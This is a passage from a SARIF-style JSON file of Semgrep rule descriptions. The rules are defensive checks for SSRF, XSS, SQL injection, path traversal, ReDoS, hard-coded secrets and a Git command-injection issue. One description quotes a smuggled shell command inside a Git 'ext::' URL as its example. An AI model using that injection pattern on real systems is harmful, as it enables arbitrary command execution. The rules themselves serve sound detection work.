3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1)\n","text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1","id":"python.lang.compatibility.python37.python37-compatibility-math1","name":"python.lang.compatibility.python37.python37-compatibility-math1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-math1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","id":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","name":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","id":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","name":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","id":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","name":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"help":{"markdown":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","id":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","name":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","id":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","name":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe","id":"python.django.security.audit.xss.html-safe.html-safe","name":"python.django.security.audit.xss.html-safe.html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-safe.html-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Writing `$MAP` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map","id":"trailofbits.go.racy-write-to-map.racy-write-to-map","name":"trailofbits.go.racy-write-to-map.racy-write-to-map","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-write-to-map.racy-write-to-map"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"help":{"markdown":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone","id":"javascript.lang.security.spawn-git-clone.spawn-git-clone","name":"javascript.lang.security.spawn-git-clone.spawn-git-clone","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.spawn-git-clone.spawn-git-clone"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string","id":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","name":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","id":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","name":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token","id":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","name":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-token.detected-artifactory-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","id":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","name":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Custom ERC721 implementation lacks access control checks in _transfer()"},"help":{"markdown":"Custom ERC721 implementation lacks access control checks in _transfer()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom)\n - [https://twitter.com/BlockSecAlert/status/1516289618605654024](https://twitter.com/BlockSecAlert/status/1516289618605654024)\n - [https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b](https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b)\n","text":"Custom ERC721 implementation lacks access control checks in _transfer()"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","id":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","name":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header","id":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","name":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.direct-response-write-with-header.direct-response-write-with-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"help":{"markdown":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n - [https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/](https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/)\n - [https://bento.dev/checks/flask/unescaped-file-extension/](https://bento.dev/checks/flask/unescaped-file-extension/)\n","text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension","id":"python.flask.security.unescaped-template-extension.unescaped-template-extension","name":"python.flask.security.unescaped-template-extension.unescaped-template-extension","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unescaped-template-extension.unescaped-template-extension"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"help":{"markdown":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ](https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ)\n","text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure","id":"ruby.lang.security.file-disclosure.file-disclosure","name":"ruby.lang.security.file-disclosure.file-disclosure","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path 